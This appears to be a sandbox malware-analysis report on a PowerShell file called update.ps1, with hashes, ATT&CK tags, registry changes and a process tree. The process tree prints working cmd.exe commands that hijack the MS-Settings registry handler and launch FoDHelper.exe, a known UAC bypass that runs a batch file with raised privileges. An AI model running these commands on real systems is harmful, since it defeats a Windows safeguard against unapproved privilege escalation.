9ac86db17423b057b502f64005f6f6f3ecafcac65f3d9099dad6a79908bd7bf1

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25/03/2025, 21:19

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General

Target

update.ps1
Size

49KB
MD5

7939a13a1cfe5e697d4db5eac4a63ecf
SHA1

334411a10172046f3f71c444502ffe42e3e8af61
SHA256

9ac86db17423b057b502f64005f6f6f3ecafcac65f3d9099dad6a79908bd7bf1
SHA512

294a4afb4878e01c14732de30e4827b9cef695dfab0fbe7f80b2b16bf6adf1a76f198092dd579bde8101248b1d0fc5e16daa68adee929dc624f2c71cda5c121f
SSDEEP

1536:R5MXBuH/FWb8dnhLBh0RqW9KbApkRCqUh+TqG305b+:cBK/FfpFByRJ8CPh+T30l+

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2688	powershell.exe

Modifies registry class 28 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\MS-Settings\CurVer\ = "ServiceHostXGRT"	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\MS-Settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell\Open\Command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell\Open\Command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\r.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\MS-Settings\CurVer\ = "ServiceHostXGRT"	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\MS-Settings\CurVer	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\MS-Settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\MS-Settings\CurVer	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\MS-Settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell\Open\Command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell\Open\Command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\MS-Settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell\Open\Command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\MS-Settings\CurVer	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\MS-Settings\CurVer	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\ServiceHostXGRT\Shell\Open\Command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\r.bat"	reg.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 2932	2688	powershell.exe	31
PID 2688 wrote to memory of 2932	2688	powershell.exe	31
PID 2688 wrote to memory of 2932	2688	powershell.exe	31
PID 2932 wrote to memory of 2708	2932	cmd.exe	32
PID 2932 wrote to memory of 2708	2932	cmd.exe	32
PID 2932 wrote to memory of 2708	2932	cmd.exe	32
PID 2932 wrote to memory of 2744	2932	cmd.exe	33
PID 2932 wrote to memory of 2744	2932	cmd.exe	33
PID 2932 wrote to memory of 2744	2932	cmd.exe	33
PID 2688 wrote to memory of 1864	2688	powershell.exe	34
PID 2688 wrote to memory of 1864	2688	powershell.exe	34
PID 2688 wrote to memory of 1864	2688	powershell.exe	34
PID 1864 wrote to memory of 2856	1864	cmd.exe	35
PID 1864 wrote to memory of 2856	1864	cmd.exe	35
PID 1864 wrote to memory of 2856	1864	cmd.exe	35
PID 1864 wrote to memory of 2824	1864	cmd.exe	36
PID 1864 wrote to memory of 2824	1864	cmd.exe	36
PID 1864 wrote to memory of 2824	1864	cmd.exe	36
PID 2688 wrote to memory of 1888	2688	powershell.exe	37
PID 2688 wrote to memory of 1888	2688	powershell.exe	37
PID 2688 wrote to memory of 1888	2688	powershell.exe	37
PID 1888 wrote to memory of 2720	1888	cmd.exe	38
PID 1888 wrote to memory of 2720	1888	cmd.exe	38
PID 1888 wrote to memory of 2720	1888	cmd.exe	38
PID 1888 wrote to memory of 2684	1888	cmd.exe	39
PID 1888 wrote to memory of 2684	1888	cmd.exe	39
PID 1888 wrote to memory of 2684	1888	cmd.exe	39
PID 2688 wrote to memory of 1992	2688	powershell.exe	40
PID 2688 wrote to memory of 1992	2688	powershell.exe	40
PID 2688 wrote to memory of 1992	2688	powershell.exe	40
PID 1992 wrote to memory of 2592	1992	cmd.exe	41
PID 1992 wrote to memory of 2592	1992	cmd.exe	41
PID 1992 wrote to memory of 2592	1992	cmd.exe	41
PID 1992 wrote to memory of 2740	1992	cmd.exe	42
PID 1992 wrote to memory of 2740	1992	cmd.exe	42
PID 1992 wrote to memory of 2740	1992	cmd.exe	42

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\update.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "REG ADD HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT\Shell\Open\Command /VE /T REG_SZ /D "%TMP%\r.bat" /F && REG ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "ServiceHostXGRT" /F && FoDHelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\system32\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT\Shell\Open\Command /VE /T REG_SZ /D "C:\Users\Admin\AppData\Local\Temp\r.bat" /F
    3⤵
    - Modifies registry class
    PID:2708
- - C:\Windows\system32\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "ServiceHostXGRT" /F
    3⤵
    - Modifies registry class
    PID:2744
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "REG DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F && REG DELETE HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT /F"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1864
- - C:\Windows\system32\reg.exe
    REG DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F
    3⤵
    - Modifies registry class
    PID:2856
- - C:\Windows\system32\reg.exe
    REG DELETE HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT /F
    3⤵
    - Modifies registry class
    PID:2824
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "REG ADD HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT\Shell\Open\Command /VE /T REG_SZ /D "%TMP%\r.bat" /F && REG ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "ServiceHostXGRT" /F && FoDHelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\system32\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT\Shell\Open\Command /VE /T REG_SZ /D "C:\Users\Admin\AppData\Local\Temp\r.bat" /F
    3⤵
    - Modifies registry class
    PID:2720
- - C:\Windows\system32\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "ServiceHostXGRT" /F
    3⤵
    - Modifies registry class
    PID:2684
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "REG DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F && REG DELETE HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT /F"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\system32\reg.exe
    REG DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F
    3⤵
    - Modifies registry class
    PID:2592
- - C:\Windows\system32\reg.exe
    REG DELETE HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT /F
    3⤵
    - Modifies registry class
    PID:2740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2688-4-0x000007FEF642E000-0x000007FEF642F000-memory.dmp

Filesize
4KB

Download
memory/2688-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2688-6-0x0000000002820000-0x0000000002828000-memory.dmp

Filesize
32KB

Download
memory/2688-7-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-8-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-9-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-10-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-11-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-12-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-16-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download